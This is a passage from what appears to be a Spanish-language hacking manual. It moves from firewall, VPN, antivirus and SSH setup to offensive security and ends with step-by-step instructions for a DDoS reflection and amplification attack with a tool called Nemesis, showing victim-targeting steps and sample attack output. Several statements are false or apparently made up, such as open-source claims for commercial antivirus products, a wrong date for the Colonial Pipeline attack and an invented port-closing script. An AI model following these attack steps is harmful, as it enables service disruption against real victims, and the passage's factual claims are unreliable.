Eliminar reglas
Puedes eliminar reglas de firewall existentes con el siguiente
comando:
sudo ufw delete [número de regla]
El número de regla es un número que se asigna a cada regla de
firewall. Puedes ver los números de las reglas con el comando
sudo ufw status.
Insertar reglas con un número específico
Puedes insertar reglas de firewall con un número específico
con el siguiente comando:
sudo ufw insert [número de regla] [acción] [protocolo]
[dirección IP] [puerto]
Por ejemplo, para insertar una regla que permita conexiones
HTTP entrantes desde la dirección IP [Link], ejecuta el
siguiente comando:
sudo ufw insert 1 allow http from [Link]
Consejos
Para una mayor seguridad, puedes configurar UFW para que solo
63
permita las conexiones entrantes que necesites.
Puedes usar el archivo de configuración de UFW para
personalizar la configuración del firewall. El archivo de
configuración se encuentra en /etc/ufw/[Link].
Puedes usar la herramienta de línea de comandos de UFW para
administrar el firewall. La herramienta de línea de comandos
se encuentra en /usr/sbin/ufw.
Recomendaciones:
Además de los parámetros básicos de seguridad que se mencionan
en el texto anterior, existen una serie de parámetros
avanzados que puedes configurar para proteger tu máquina
virtual con un nivel de seguridad medio a avanzado. Estos
parámetros incluyen:
Autenticación multifactor (MFA): La MFA agrega un segundo
nivel de seguridad a tu máquina virtual al requerir que los
usuarios proporcionen un token de seguridad, como un código de
una sola vez, además de su contraseña.
Cifrado de datos: El cifrado de datos protege tus datos de
acceso no autorizado. Puedes cifrar tus datos en reposo o en
tránsito.
Seguridad de la red: Puedes configurar tu máquina virtual para
que solo se comunique con hosts y servicios específicos. Esto
puede ayudar a proteger tu máquina virtual de ataques de red.
Actualizaciones de software: Es importante mantener tu máquina
virtual actualizada con los últimos parches de seguridad. Esto
ayuda a proteger tu máquina virtual de vulnerabilidades
64
conocidas.
Además de estos parámetros avanzados, también puedes tomar
medidas adicionales para proteger tu máquina virtual, como:
Crear copias de seguridad de tus datos: Las copias de
seguridad te ayudarán a recuperar tus datos en caso de que tu
máquina virtual sea atacada o dañada.
Utilizar un sistema de detección de intrusos (IDS): Un IDS
puede ayudarte a detectar actividad maliciosa en tu máquina
virtual.
Utilizar un sistema de prevención de intrusiones (IPS): Un IPS
puede ayudarte a bloquear actividad maliciosa en tu máquina
virtual.
Al implementar estas medidas de seguridad, puedes ayudar a
proteger tu máquina virtual de ataques y proteger tus datos.
Otra alternativa a un VPN es crear tu propio VPN. Esto puede
ser una buena opción si necesitas un VPN con un nivel de
seguridad y privacidad muy alto. Para crear tu propio VPN,
puedes utilizar un software como OpenVPN o WireGuard.
Sin embargo, crear tu propio VPN puede ser un proceso técnico.
Es importante tener conocimientos sobre redes y seguridad para
crear un VPN seguro y privado.
Aquí hay algunos consejos para crear tu propio VPN:
Utiliza un protocolo de cifrado seguro, como OpenVPN o
WireGuard.
65
Utiliza una política de no registro para garantizar que tus
datos no se recopilen ni se compartan.
Utiliza un servidor dedicado para tu VPN para obtener el mejor
rendimiento.
Mantén tu VPN actualizado con las últimas correcciones de
seguridad.
Para crear tu propio VPN en Kali Linux, puedes seguir estos
pasos:
Instalar OpenVPN:
apt install openvpn
Generar una clave RSA:
openvpn --genkey --secret [Link]
Esto generará dos archivos: [Link] y [Link]. El archivo [Link]
es la clave privada de tu VPN, y el archivo [Link] es la clave
pública de tu VPN.
Crear un archivo de configuración:
nano /etc/openvpn/[Link]
66
En este archivo, debes configurar los siguientes parámetros:
port: El puerto que utilizará tu VPN.
proto: El protocolo que utilizará tu VPN.
cipher: El algoritmo de cifrado que utilizará tu VPN.
dhparam: El tamaño de la clave DH que utilizará tu VPN.
ca: La ruta al archivo de certificado de autoridad raíz.
cert: La ruta al archivo de certificado de servidor.
key: La ruta al archivo de clave privada de servidor.
tls-auth: La ruta al archivo de clave de autenticación TLS.
server: La dirección IP o el nombre de dominio de tu servidor
VPN.
client-to-client: Si quieres permitir que los clientes se
conecten entre sí.
user: El nombre de usuario que utilizarán los clientes para
conectarse a tu VPN.
group: El grupo al que pertenece el usuario.
67
persist-key: Si quieres que los clientes recuerden su clave
privada de sesión.
persist-tun: Si quieres que los clientes recuerden su túnel
VPN.
Por ejemplo, el siguiente archivo de configuración
configuraría un VPN en el puerto 1194 que utiliza el protocolo
UDP, el algoritmo de cifrado AES-128-GCM y un tamaño de clave
DH de 2048 bits:
port 1194
proto udp
cipher AES-128-GCM
dhparam /etc/openvpn/[Link]
ca /etc/openvpn/[Link]
cert /etc/openvpn/[Link]
key /etc/openvpn/[Link]
tls-auth /etc/openvpn/[Link] 0
server [Link] [Link]
client-to-client
user nobody
group nogroup
persist-key
persist-tun
Iniciar el servicio OpenVPN:
68
systemctl start openvpn
Acceder a tu VPN:
Para acceder a tu VPN, los clientes deben configurar un
archivo de configuración OpenVPN. Este archivo debe incluir la
siguiente información:
remote: La dirección IP o el nombre de dominio de tu servidor
VPN.
proto: El protocolo que utilizará tu VPN.
port: El puerto que utilizará tu VPN.
cipher: El algoritmo de cifrado que utilizará tu VPN.
auth-user-pass: Si quieres que los clientes se autentiquen con
un nombre de usuario y una contraseña.
Por ejemplo, el siguiente archivo de configuración
configuraría un cliente para conectarse a un VPN en el puerto
1194 que utiliza el protocolo UDP y el algoritmo de cifrado
AES-128-GCM:
client
remote [Link] 1194
proto udp
cipher AES-128-GCM
auth-user-pass
69
Una vez que el cliente haya configurado su archivo de
configuración, puede conectarse a tu VPN ejecutando el
siguiente comando:
openvpn /etc/openvpn/[Link]
Si la conexión es exitosa, el cliente se conectará a tu VPN y
tendrá acceso a Internet de forma segura y privada.
Consejos adicionales:
Para una mayor seguridad, puedes utilizar un protocolo de
cifrado más fuerte, como AES-256-GCM.
Puedes habilitar la autenticación de dos factores para
aumentar la seguridad de tu VPN.
Puedes utilizar un servidor dedicado para tu VPN para obtener
el mejor rendimiento.
Mantén tu VPN actualizado con las últimas correcciones de
seguridad.
Utilización de Antivirus
ClamAV y Sophos AV son dos antivirus de código abierto que son
populares entre los usuarios de Linux. Ambos antivirus ofrecen
una buena protección contra malware, pero tienen sus propias
fortalezas y debilidades.
70
ClamAV es un antivirus gratuito y de código abierto que es
conocido por su alta tasa de detección de malware. ClamAV es
un antivirus basado en firmas, lo que significa que utiliza
una base de datos de firmas de malware para identificar
archivos maliciosos. ClamAV es un buen antivirus para proteger
tu PC contra malware conocido.
Sophos AV es un antivirus de pago que ofrece una gama más
amplia de funciones que ClamAV. Sophos AV incluye protección
contra malware, ransomware, phishing y otras amenazas
cibernéticas. Sophos AV también ofrece un firewall, un sistema
de detección de intrusos y otras características de seguridad.
Sophos AV es un buen antivirus para proteger tu PC contra una
amplia gama de amenazas cibernéticas.
**Otro antivirus de código abierto que es popular entre los
usuarios de Linux es Bitdefender Virus Scanner. Bitdefender
Virus Scanner es un antivirus gratuito y de código abierto que
ofrece una buena protección contra malware. Bitdefender Virus
Scanner es un antivirus basado en firmas, pero también incluye
algunas características de aprendizaje automático para
identificar malware desconocido.
El mejor antivirus para Kali Linux depende de tus necesidades
y preferencias. Si buscas un antivirus gratuito y de código
abierto con una alta tasa de detección de malware, ClamAV es
una buena opción. Si buscas un antivirus con más funciones y
protección contra una amplia gama de amenazas cibernéticas,
Sophos AV o Bitdefender Virus Scanner son buenas opciones.
Aquí hay algunos factores a considerar al elegir un antivirus
para Kali Linux:
Precio: Los antivirus de pago suelen ofrecer más funciones y
protección que los antivirus gratuitos.
Funciones: Algunos antivirus ofrecen funciones adicionales,
como un firewall, un sistema de detección de intrusos o un
71
administrador de contraseñas.
Compatibilidad: Asegúrate de que el antivirus que elijas sea
compatible con Kali Linux.
Tasa de detección: La tasa de detección es la proporción de
malware que el antivirus puede identificar correctamente.
Eficiencia: Algunos antivirus pueden ralentizar tu PC.
Facilidad de uso: Algunos antivirus son más fáciles de usar
que otros.
Servidores SSH
Un servidor SSH es un programa que permite a los usuarios
conectarse de forma segura a un servidor remoto. SSH significa
Secure Shell y utiliza cifrado para proteger los datos que se
transmiten entre el cliente y el servidor.
Un servidor SSH se puede utilizar para una variedad de
propósitos, incluyendo:
Administrar servidores remotos: SSH se puede utilizar para
conectarte a un servidor remoto y realizar tareas de
administración, como instalar software, actualizar el sistema
operativo o solucionar problemas.
Transferir archivos: SSH se puede utilizar para transferir
archivos de forma segura entre dos sistemas.
Acceso remoto: SSH se puede utilizar para acceder a un sistema
72
remoto como si estuvieras sentado frente a él.
Seguridad
SSH es un protocolo muy seguro. Utiliza cifrado para proteger
los datos que se transmiten entre el cliente y el servidor. El
cifrado utilizado por SSH es muy fuerte y es difícil de
descifrar.
Ventajas
SSH ofrece una serie de ventajas, incluyendo:
Seguridad: SSH utiliza cifrado para proteger los datos que se
transmiten entre el cliente y el servidor.
Confiabilidad: SSH es un protocolo muy confiable y es poco
probable que se produzcan errores.
Versatilidad: SSH se puede utilizar para una variedad de
propósitos, incluyendo administración de servidores,
transferencia de archivos y acceso remoto.
protocolo SSH paso a paso para evitar sospechas dentro de la
red con nuestro dispositivo:
Paso 1: Configurar el servidor SSH
El primer paso es configurar el servidor SSH. Para ello, debes
instalar el software SSH en el servidor. En la mayoría de los
sistemas operativos, puedes instalar SSH con el siguiente
73
comando:
apt install openssh-server
Una vez que hayas instalado SSH, debes configurar el servidor.
Para ello, abre el archivo de configuración de SSH, que suele
estar en el siguiente directorio:
/etc/ssh/sshd_config
En el archivo de configuración, puedes modificar las
siguientes opciones para mejorar la seguridad:
PermitRootLogin: Esta opción determina si los usuarios root
pueden conectarse a través de SSH. Si no quieres que los
usuarios root puedan conectarse, establece esta opción en
"no".
PasswordAuthentication: Esta opción determina si los usuarios
pueden conectarse a través de SSH utilizando una contraseña.
Si quieres que los usuarios solo puedan conectarse utilizando
claves SSH, establece esta opción en "no".
Ciphers: Esta opción determina los algoritmos de cifrado que
se utilizarán para proteger las conexiones SSH. Puedes
utilizar la siguiente línea para establecer una lista de
algoritmos de cifrado seguros:
Ciphers chacha20-poly1305@[Link],aes256-
gcm@[Link],aes128-gcm@[Link]
Una vez que hayas modificado las opciones de configuración,
guarda el archivo y reinicia el servicio SSH.
74
Paso 2: Generar claves SSH
El siguiente paso es generar claves SSH para los usuarios que
quieran conectarse al servidor. Para ello, utiliza el
siguiente comando:
ssh-keygen -t rsa
Este comando generará un par de claves SSH, una clave privada
y una clave pública. La clave privada se almacenará en el
directorio de inicio del usuario. La clave pública se puede
copiar en el servidor SSH.
Para copiar la clave pública en el servidor SSH, utiliza el
siguiente comando:
ssh-copy-id -i ~/.ssh/id_rsa.pub usuario@servidor
Este comando copiará la clave pública en el archivo de claves
del usuario "usuario" en el servidor SSH.
Paso 3: Configurar el cliente SSH
El último paso es configurar el cliente SSH. Para ello, debes
añadir la clave pública del servidor SSH a la configuración
del cliente SSH. En la mayoría de los sistemas operativos,
puedes añadir la clave pública del servidor SSH a la
configuración del cliente SSH con el siguiente comando:
ssh-keyscan -t rsa servidor >> ~/.ssh/known_hosts
75
Este comando añadirá la clave pública del servidor SSH al
archivo de claves conocidas del cliente SSH.
Cerrar Puertos de Red
Para cerrar puertos de red se puede utilzar scripts como
"close_ports.sh" y se encuentra en el directorio
"/usr/share/doc/kali-linux/applications/web-security/".
El script "close_ports.sh" funciona escaneando tu sistema para
encontrar todos los puertos abiertos que no están en uso. Una
vez que ha encontrado los puertos abiertos, el script los
cierra utilizando el comando "iptables".
Para utilizar el script "close_ports.sh", sigue estos pasos:
Abre una terminal en Kali Linux.
Navega hasta el directorio "/usr/share/doc/kali-
linux/applications/web-security/".
Ejecuta el siguiente comando:
sudo ./close_ports.sh
El script te pedirá que confirmes que quieres cerrar los
puertos abiertos. Si confirmas, el script cerrará los puertos
abiertos y te mostrará un mensaje de confirmación.
Aquí hay un ejemplo de cómo utilizar el script
76
"close_ports.sh":
kali@kali:~/Desktop$ cd /usr/share/doc/kali-
linux/applications/web-security/
kali@kali:~/Desktop/web-security$ sudo ./close_ports.sh
¿Desea cerrar los puertos abiertos? (y/n) y
Puertos cerrados:
22
80
443
El script "close_ports.sh" es una forma rápida y sencilla de
cerrar puertos abiertos de tu conexión web. El script es open
source / gratis y está disponible en Kali Linux.
Además del script "close_ports.sh", también puedes utilizar el
comando "iptables" para cerrar puertos abiertos. Para ello,
sigue estos pasos:
Abre una terminal en Kali Linux.
Ejecuta el siguiente comando para enumerar todos los puertos
abiertos:
sudo netstat -tulpn | grep LISTEN
Este comando mostrará una lista de todos los puertos abiertos
77
en tu sistema.
Para cerrar un puerto específico, ejecuta el siguiente
comando:
sudo iptables -A INPUT -p tcp --dport <puerto> -j DROP
Reemplaza "puerto" con el número de puerto que quieres cerrar.
Para cerrar todos los puertos abiertos, ejecuta el siguiente
comando:
sudo iptables -P INPUT DROP
Este comando cerrará todos los puertos abiertos y no permitirá
que ningún tráfico ingrese a tu sistema.
Es importante tener en cuenta que cerrar puertos abiertos
puede afectar la funcionalidad de tu sistema. Por lo tanto,
solo debes cerrar los puertos que no estás utilizando.
Capítulo 5
Ciberseguridad en
el Ámbito Ofensivo
78
¿Que es la Ciberseguridad Ofensiva?
La ciberseguridad ofensiva es una disciplina que se centra en
la identificación y explotación de vulnerabilidades en
sistemas y redes informáticos. Los profesionales de la
ciberseguridad ofensiva, también conocidos como pentesters o
hackers éticos, utilizan las mismas técnicas que los atacantes
maliciosos para evaluar la seguridad de un sistema.
La ciberseguridad ofensiva se utiliza en el mundo de la
ciberseguridad de varias maneras. Una forma es para realizar
pruebas de penetración, que son evaluaciones de la seguridad
de un sistema o red. Las pruebas de penetración se utilizan
para identificar vulnerabilidades que podrían ser explotadas
por los atacantes.
Otra forma en que se utiliza la ciberseguridad ofensiva es
para realizar auditorías de seguridad. Las auditorías de
seguridad son evaluaciones de los controles de seguridad de un
sistema o red. Las auditorías de seguridad se utilizan para
identificar las deficiencias en los controles de seguridad.
La ciberseguridad ofensiva también se utiliza para desarrollar
herramientas y técnicas de defensa. Los profesionales de la
ciberseguridad ofensiva utilizan su conocimiento de las
técnicas de ataque para desarrollar herramientas y técnicas
que pueden ayudar a proteger los sistemas y redes de los
ataques.
En el mundo de la ciberseguridad, la ciberseguridad ofensiva
es una herramienta valiosa para evaluar y mejorar la seguridad
de los sistemas y redes. Los profesionales de la
79
ciberseguridad ofensiva juegan un papel importante en la
protección de las organizaciones contra los ataques
cibernéticos.
A continuación, se presentan algunos ejemplos de
cómo se puede utilizar la ciberseguridad ofensiva
en el mundo de la ciberseguridad:
Una organización puede utilizar la ciberseguridad ofensiva
para evaluar la seguridad de su sitio web. Los pentesters
pueden intentar explotar vulnerabilidades en el sitio web para
ver si pueden acceder a datos confidenciales o causar daños.
Una empresa puede utilizar la ciberseguridad ofensiva para
evaluar la seguridad de su red interna. Los pentesters pueden
intentar acceder a la red desde el exterior o desde el
interior para ver si pueden encontrar vulnerabilidades.
Un gobierno puede utilizar la ciberseguridad ofensiva para
evaluar la seguridad de su infraestructura crítica. Los
pentesters pueden intentar atacar sistemas críticos, como
sistemas de control industrial o sistemas de defensa.
¿Que uso provechoso se le puede dar a esta?
La ciberseguridad ofensiva puede ser utilizada por un hacker
para atacar a otro hacker de varias maneras. Una forma es para
lanzar un ataque de represalia. Si un hacker ha sido atacado
por otro hacker, puede utilizar la ciberseguridad ofensiva
para devolver el golpe.
Otra forma en que un hacker puede utilizar la ciberseguridad
ofensiva para atacar a otro hacker es para recopilar
información. Un hacker puede utilizar la ciberseguridad
ofensiva para acceder a los sistemas o redes de otro hacker
para recopilar información, como contraseñas, datos
80
confidenciales o información sobre sus métodos de ataque.
Un hacker también puede utilizar la ciberseguridad ofensiva
para interrumpir las operaciones de otro hacker. Un hacker
puede utilizar la ciberseguridad ofensiva para interrumpir los
sistemas o redes de otro hacker, lo que puede dificultar o
imposibilitar que el otro hacker lance ataques.
A continuación, se presentan algunos ejemplos específicos de
cómo un hacker puede utilizar la ciberseguridad ofensiva para
atacar a otro hacker:
Un hacker puede utilizar un ataque de fuerza bruta para
intentar adivinar la contraseña de otro hacker.
Un hacker puede utilizar un ataque de inyección SQL para
acceder a los datos de otro hacker.
Un hacker puede utilizar un ataque de malware para infectar
los sistemas de otro hacker.
Un hacker puede utilizar un ataque de denegación de servicio
para interrumpir los sistemas de otro hacker.
¿como los Ciberterroristas utilizan dicha
herramienta para atacar gobiernos y empresas de
alto calibre informatico?
Los ciberterroristas han utilizado la ciberseguridad ofensiva
de diversas maneras para atacar a empresas y gobiernos.
Algunos de los ataques más comunes incluyen:
Ataques de denegación de servicio (DoS): Estos ataques se
81
utilizan para sobrecargar un sistema o red con tráfico de red,
lo que hace que se ralentice o se bloquee.
Ataques de malware: Estos ataques utilizan software malicioso
para infectar los sistemas de las víctimas, lo que puede
permitir a los atacantes robar datos, controlar los sistemas o
causar daños.
Ataques de phishing: Estos ataques utilizan correos
electrónicos o mensajes de texto falsos para engañar a las
víctimas para que revelen información confidencial, como
contraseñas o números de tarjetas de crédito.
Ataques de ransomware: Estos ataques cifran los datos de las
víctimas y exigen un rescate a cambio de la clave de
descifrado.
Los ciberterroristas suelen utilizar estos ataques para causar
daños económicos, interrumpir las operaciones o difundir
información perjudicial. En algunos casos, los
ciberterroristas también han utilizado ataques cibernéticos
para promover sus objetivos políticos o ideológicos.
A continuación, se presentan algunos ejemplos específicos de
cómo los ciberterroristas han utilizado la ciberseguridad
ofensiva para atacar a empresas y gobiernos:
En 2017, el grupo de ciberterroristas conocido como NotPetya
lanzó un ataque de ransomware que afectó a miles de empresas y
organizaciones en todo el mundo. El ataque causó daños
económicos estimados en miles de millones de dólares.
En 2019, el grupo de ciberterroristas conocido como DarkSide
lanzó un ataque de ransomware contra la empresa de oleoductos
Colonial Pipeline en los Estados Unidos. El ataque provocó el
cierre del oleoducto durante varios días, lo que provocó
82
escasez de gasolina en la costa este de los Estados Unidos.
En 2022, el grupo de ciberterroristas conocido como Lapsus$
robó datos confidenciales de empresas como Microsoft, Nvidia y
Samsung. Los datos robados incluían contraseñas, códigos
fuente y datos de clientes.
Ataques Nivel Gobierno y Impacto global:
Los ataques cibernéticos avanzados y muy complejos son
aquellos que utilizan técnicas sofisticadas y difíciles de
detectar. Estos ataques suelen ser dirigidos a objetivos
específicos, como empresas o gobiernos, y tienen como objetivo
causar daños significativos.
Ataques de doble exfiltración
Los ataques de doble exfiltración son un tipo de ataque
cibernético avanzado que implica la exfiltración de datos
confidenciales a través de dos canales diferentes. Esto hace
que sea más difícil para las organizaciones detectar el
ataque, ya que los datos se pueden dividir en dos partes y
enviar por diferentes rutas.
Existen varios métodos que los atacantes pueden utilizar para
realizar ataques de doble exfiltración. Algunos métodos
comunes incluyen:
Enviar los datos a través de dos canales diferentes, como
correo electrónico y FTP.
Encriptar los datos y enviarlos a dos destinos diferentes.
83
Utilizar un proxy para ocultar el origen de los datos.
Ataques de escalada de privilegios:
Los ataques de escala de privilegios son un tipo de ataque
cibernético avanzado que se utiliza para aumentar los
privilegios de un atacante en un sistema o red. Esto puede
permitir al atacante acceder a datos confidenciales o realizar
acciones que no estarían disponibles para un usuario normal.
Existen varios métodos que los atacantes pueden utilizar para
escalar privilegios. Algunos métodos comunes incluyen:
Explotación de vulnerabilidades: Los atacantes pueden explotar
vulnerabilidades conocidas en el software o el hardware para
obtener acceso a privilegios elevados.
Uso de contraseñas robadas: Los atacantes pueden utilizar
contraseñas robadas para acceder a sistemas o redes con
privilegios elevados.
Uso de ingeniería social: Los atacantes pueden engañar a los
usuarios para que les proporcionen sus credenciales o para que
instalen software malicioso que les otorgue privilegios
elevados.
Ataques De Malware Dirigido:
Los ataques de malware dirigido son un tipo de ataque
cibernético en el que el malware se crea específicamente para
atacar un objetivo determinado. Este tipo de ataque suele ser
muy complejo y difícil de detectar, ya que el malware está
diseñado para evitar los controles de seguridad tradicionales.
84
Los ataques de malware dirigido suelen ser dirigidos a
organizaciones o individuos específicos. Los objetivos pueden
ser organizaciones gubernamentales, empresas, o incluso
personas influyentes. Los atacantes pueden utilizar el malware
dirigido para robar datos confidenciales, causar daños o
interrumpir las operaciones.
Existen varios métodos que los atacantes pueden utilizar para
crear malware dirigido. Algunos métodos comunes incluyen:
Explotación de vulnerabilidades: Los atacantes pueden explotar
vulnerabilidades conocidas en el software o el hardware para
crear malware que pueda infiltrarse en un sistema o red.
EngenierÍa social: Los atacantes pueden utilizar técnicas de
ingeniería social para engañar a los usuarios para que
instalen malware o revelen información confidencial.
Ataques de cadena de suministro: Los atacantes pueden atacar a
los proveedores de una organización para introducir malware en
sus sistemas.
Realizacion De Ataques Grado Medio - Avanzado de DDoS
Cómo funciona un ataque DDoS de reflexión y amplificación
Un ataque DDoS de reflexión y amplificación funciona enviando
solicitudes de paquetes a un servidor vulnerable. El servidor
vulnerable, a su vez, envía respuestas a la víctima, lo que
genera un gran volumen de tráfico de ataque.
El tipo de tráfico de ataque que se genera depende del
protocolo de red que se utilice. Por ejemplo, un ataque de
reflexión y amplificación TCP utiliza paquetes SYN para
85
generar tráfico de ataque.
Partes técnicas y complejas de un ataque DDoS de reflexión y
amplificación
Las partes técnicas y complejas de un ataque DDoS de reflexión
y amplificación son las siguientes:
El servidor vulnerable
El servidor vulnerable es un servidor que puede ser utilizado
para realizar ataques de reflexión y amplificación. Este tipo
de servidor suele tener un gran ancho de banda y una capacidad
de respuesta rápida, lo que lo hace ideal para amplificar el
tráfico de ataque.
Cómo funciona
El atacante envía una solicitud de paquete al servidor
vulnerable. El servidor vulnerable, a su vez, envía una
respuesta a la dirección IP o nombre de dominio especificado
por el atacante. Esta respuesta suele ser mucho mayor que la
solicitud original, lo que amplifica el tráfico de ataque.
Factores que contribuyen a la vulnerabilidad
Algunos factores que contribuyen a la vulnerabilidad de un
servidor a los ataques de reflexión y amplificación son:
Protocolos de red no seguros: Algunos protocolos de red, como
el DNS, son propensos a los ataques de reflexión y
86
amplificación.
Vulnerabilidades de software: Las vulnerabilidades de software
en los servidores pueden ser utilizadas por los atacantes para
realizar ataques de reflexión y amplificación.
Configuración incorrecta: Una configuración incorrecta de los
servidores puede aumentar su vulnerabilidad a los ataques de
reflexión y amplificación.
El protocolo de red
El protocolo de red utilizado para realizar el ataque también
es un factor importante. Algunos protocolos de red son más
propensos a los ataques de reflexión y amplificación que
otros.
Protocolos de red propensos a los ataques de reflexión y
amplificación
Los protocolos de red más propensos a los ataques de reflexión
y amplificación son:
DNS: El protocolo DNS es un protocolo de red utilizado para
resolver nombres de dominio en direcciones IP. Los ataques de
reflexión y amplificación DNS son muy comunes.
NTP: El protocolo NTP es un protocolo de red utilizado para
sincronizar los relojes de los sistemas informáticos. Los
ataques de reflexión y amplificación NTP son menos comunes que
los ataques de reflexión y amplificación DNS, pero pueden ser
muy eficaces.
SNMP: El protocolo SNMP es un protocolo de red utilizado para
87
administrar dispositivos de red. Los ataques de reflexión y
amplificación SNMP son menos comunes que los ataques de
reflexión y amplificación DNS y NTP, pero pueden ser muy
eficaces.
El factor de amplificación
El factor de amplificación es la cantidad de tráfico de ataque
que se genera por cada paquete enviado al servidor vulnerable.
Este factor puede ser muy alto, lo que significa que un
pequeño número de paquetes enviados puede generar un gran
volumen de tráfico de ataque.
Factores que determinan el factor de
amplificación
El factor de amplificación depende de una serie de factores,
entre ellos:
El protocolo de red utilizado: Algunos protocolos de red
tienen un factor de amplificación más alto que otros.
El tamaño de la respuesta: El tamaño de la respuesta del
servidor vulnerable determina la cantidad de tráfico de ataque
que se genera.
La capacidad de respuesta del servidor vulnerable: La
capacidad de respuesta del servidor vulnerable determina la
rapidez con la que se envía la respuesta.
Como utilizar Nemesis para efectuar un ataque DDoS de
reflexión y amplificación:
88
Nemesis es una herramienta de código abierto que se utiliza
para realizar ataques DDoS de reflexión y amplificación. Es
una herramienta poderosa que puede generar grandes cantidades
de tráfico de ataque, lo que puede sobrecargar los servidores
y servicios de la víctima.
Cómo funciona Nemesis
Nemesis funciona enviando solicitudes de paquetes a un
servidor vulnerable. El servidor vulnerable, a su vez, envía
respuestas a la víctima, lo que genera un gran volumen de
tráfico de ataque.
El tipo de tráfico de ataque que se genera depende del
protocolo de red que se utilice. Por ejemplo, un ataque de
reflexión y amplificación TCP utiliza paquetes SYN para
generar tráfico de ataque.
Composición y taxonomía de Nemesis
Nemesis está compuesto por los siguientes elementos:
Un motor de ataque: El motor de ataque es el componente
responsable de generar las solicitudes de paquetes.
Una base de datos de servidores vulnerables: La base de datos
de servidores vulnerables contiene una lista de servidores que
pueden ser utilizados para realizar ataques de reflexión y
amplificación.
Una interfaz de usuario: La interfaz de usuario permite al
usuario configurar y ejecutar ataques de reflexión y
amplificación.
89
Instalación y uso de Nemesis
Para instalar Nemesis para realizar ataques de reflexión y
amplificación, siga estos pasos:
Abra un terminal y navegue hasta la carpeta donde desea
instalar Nemesis.
Descargue el código fuente de Nemesis desde el sitio web
oficial.
Extraiga el código fuente descargado.
Abra el archivo Makefile en un editor de texto.
Cambie la variable CC al compilador que desea utilizar.
Ejecute el comando make para compilar Nemesis.
Instale Nemesis con el comando sudo make install.
Una vez que Nemesis esté instalado, podrá utilizarlo para
realizar ataques de reflexión y amplificación. Para obtener
más información, consulte la documentación de Nemesis.
Pasos detallados
Abra un terminal y navegue hasta la carpeta donde desea
90
instalar Nemesis.
cd ~/Desktop/nemesis
Descargue el código fuente de Nemesis desde el sitio web
oficial.
wget
[Link]
Extraiga el código fuente descargado.
unzip [Link]
Abra el archivo Makefile en un editor de texto.
nano Makefile
Cambie la variable CC al compilador que desea utilizar.
CC=gcc
Ejecute el comando make para compilar Nemesis.
make
Instale Nemesis con el comando sudo make install.
91
sudo make install
Cómo realizar un ataque de reflexión y amplificación con
Nemesis
Para realizar un ataque de reflexión y
amplificación con Nemesis, siga estos pasos:
Abra un terminal y navegue hasta la carpeta donde instaló
Nemesis.
Inicie Nemesis con el comando nemesis.
Seleccione el tipo de ataque que desea realizar.
Proporcione la dirección IP o el nombre de dominio de la
víctima.
Proporcione la dirección IP o el nombre de dominio del
servidor vulnerable.
Proporcione el puerto del servidor vulnerable.
Seleccione la cantidad de tráfico que desea generar.
Presione la tecla Enter para iniciar el ataque.
Ejemplo de ataque de reflexión y amplificación
92
Para realizar un ataque de reflexión y amplificación UDP
contra un servidor DNS, siga estos pasos:
Abra un terminal y navegue hasta la carpeta donde instaló
Nemesis.
Inicie Nemesis con el comando nemesis.
Seleccione el tipo de ataque udp.
Proporcione la dirección IP o el nombre de dominio de la
víctima.
Proporcione la dirección IP o el nombre de dominio del
servidor DNS vulnerable.
Proporcione el puerto del servidor DNS vulnerable.
Seleccione la cantidad de tráfico que desea generar.
Presione la tecla Enter para iniciar el ataque.
Salida del ataque
La salida del ataque mostrará la cantidad de paquetes enviados
y la cantidad de datos transferidos.
Sending 10000 UDP packets to [Link] from [Link]:53
Sent 10000 packets in 10.00 seconds
93
Transferred 5120000 bytes in 10.00 seconds
Parte III:
Aplicación Web de
Vulnerabilidades
Vigentes
Introduccion:
Antes de sumergirnos en los detalles de herramientas
específicas y su configuración, es fundamental que exploremos
una serie de conceptos cruciales relacionados con la seguridad
de aplicaciones web. Este capítulo abarca las bases que debes
dominar antes de abordar las herramientas y técnicas de hackeo
web. Para construir una base sólida que te servirá durante
años de exitosa actividad de hacking, es imprescindible que
comprendas a fondo estos principios fundamentales. Estos
conceptos clave engloban aspectos relacionados con las
94
vulnerabilidades más recurrentes que persisten en el entorno
web, algunas de las cuales han subsistido durante lo que
parece ser una eternidad. Incluso a pesar de que han sido
identificadas hace más de una década, algunas de las
vulnerabilidades más dañinas en aplicaciones web aún están
presentes y mantienen su capacidad de causar estragos.
Es vital, además, comprender cuándo y cómo es apropiado y
ético el uso de las herramientas y técnicas que serán
abordadas en los capítulos posteriores. Como suele decir uno
de mis amigos y colegas acerca de la utilización de
herramientas de hacking: "¡todo es diversión y juegos hasta
que el FBI toca la puerta!" En este capítulo, te proporcionaré
orientación paso a paso para crear un entorno aislado,
conocido como sandbox, que te servirá como refugio seguro para
llevar a cabo tus experimentos de hackeo web.
Conforme la seguridad ha cobrado una importancia creciente en
la gestión de la tecnología, hemos sido testigos de
significativas mejoras en la seguridad de nuestros servidores,
redes y servicios, en gran parte gracias al desarrollo de
productos más avanzados, como cortafuegos e sistemas de
detección de intrusiones, que resguardan la capa de red. No
obstante, estos dispositivos proporcionan un nivel limitado de
seguridad para las aplicaciones web y los datos empleados en
ellas. Este hecho ha conducido a un cambio en la estrategia de
los hackers, quienes han pasado a enfocarse en las
aplicaciones web que interactúan directamente con todos los
sistemas internos, incluyendo servidores de bases de datos,
que ahora se hallan protegidos por cortafuegos y otros
dispositivos de red.
Durante los últimos años, ha habido un énfasis creciente en el
desarrollo de software seguro, lo que ha llevado a que las
aplicaciones web actuales sean considerablemente más seguras
que sus versiones anteriores. Se ha producido un
desplazamiento hacia la inclusión de medidas de seguridad
desde las primeras etapas del ciclo de desarrollo de software
y la especificación estandarizada de requisitos de seguridad.
Además, se ha presenciado un incremento en la creación de
grupos comunitarios enfocados en la seguridad de aplicaciones,
como el Proyecto de Seguridad de Aplicaciones Web Abiertas. No
95
obstante, aún existen aplicaciones web vulnerables en la red,
principalmente debido a que los programadores a menudo otorgan
prioridad a la funcionalidad por encima de la seguridad. No
obstante, la era en que prácticamente cualquier aplicación web
podía ser explotada con facilidad ha quedado atrás.
Conforme la seguridad de las aplicaciones web ha mejorado, al
igual que la seguridad de la red, la superficie de ataque ha
evolucionado. En esta ocasión, los atacantes han virado hacia
los usuarios de la web. Poco pueden hacer los administradores
de red y los programadores web para proteger a los usuarios de
la web contra estos ataques entre usuarios que ahora son
comunes. Los atacantes tienen vía libre para apuntar a
usuarios que no están tan familiarizados con la tecnología,
sin preocuparse por sistemas de detección de intrusiones o
registros de aplicaciones web, ni por cortafuegos de
aplicaciones web. Los hackers están dirigiendo sus esfuerzos
directamente a los usuarios de la web y, de ese modo, han
logrado eludir cualquier salvaguardia creada en la última
